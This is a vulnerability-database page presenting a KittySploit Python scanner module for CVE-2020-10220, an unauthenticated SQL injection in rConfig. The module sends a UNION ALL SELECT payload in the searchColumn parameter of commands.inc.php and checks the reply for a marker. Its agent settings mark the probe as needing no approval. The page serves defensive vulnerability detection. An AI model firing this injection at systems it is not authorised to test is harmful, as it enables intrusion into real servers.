Lucene search
+L

rConfig - commands.inc.php SQLi Detection (CVE-2020-10220)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 9 Views

Unauthenticated SQLi in rConfig commands.inc.php via searchColumn parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
rConfig 3.9 - (searchColumn) SQL Injection Exploit
12 Mar 202000:00
–zdt
zdt
zdt
Rconfig 3.x Chained Remote Code Execution Exploit
17 Mar 202000:00
–zdt
zdt
zdt
rConfig 3.9.4 - (searchField) Unauthenticated Root Remote Code Execution Exploit
28 Mar 202000:00
–zdt
githubexploit
GithubExploit
Exploit for OS Command Injection in Rconfig
2 Dec 201916:32
–githubexploit
attackerkb
attackerkb
CVE-2020-10547
4 Jun 202000:00
–attackerkb
attackerkb
attackerkb
CVE-2020-10548
4 Jun 202000:00
–attackerkb
attackerkb
attackerkb
CVE-2020-10549
4 Jun 202000:00
–attackerkb
attackerkb
attackerkb
CVE-2020-10546
4 Jun 202000:00
–attackerkb
attackerkb
attackerkb
CVE-2020-10220
7 Mar 202000:00
–attackerkb
bdu_fstec
BDU FSTEC
rConfig Component SQL Injection
20 Mar 202000:00
–bdu_fstec
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""rConfig commands.inc.php SQL injection (CVE-2020-10220)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'rConfig - commands.inc.php SQLi Detection (CVE-2020-10220)',
        'description': (
            'Detects CVE-2020-10220 by injecting UNION SELECT of a marker into '
            'commands.inc.php searchColumn and looking for id="<marker>" in the response.'
        ),
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': [
            'web', 'scanner', 'cve', 'cve2020', 'rconfig', 'sqli', 'unauth', 'vuln',
        ],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 0.9,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'scanner/http/cve_2020_10547_detect',
                    'scanner/http/cve_2020_10548_detect',
                ],
            },
        },
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-10220'],
        'cve': 'CVE-2020-10220',
    }

    base_path = OptString('', 'Optional rConfig base path', required=False)

    def _prefix(self) -> str:
        base = str(self.base_path or '').strip()
        if not base or base == '/':
            return ''
        if not base.startswith('/'):
            base = '/' + base
        return base.rstrip('/')

    def run(self):
        marker = 'ksploit20'
        hx = marker.encode().hex().upper()
        path = (
            f'{self._prefix()}/commands.inc.php?searchOption=contains&searchField=vuln'
            f'&search=search&searchColumn=command%20UNION%20ALL%20SELECT%200x{hx},NULL--'
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return False
        if f'id="{marker}"' in (r.text or ''):
            self.set_info(
                severity='high',
                reason='rConfig commands.inc.php SQLi (CVE-2020-10220)',
                path=f'{self._prefix()}/commands.inc.php',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 3.19.8
EPSS0.99697
9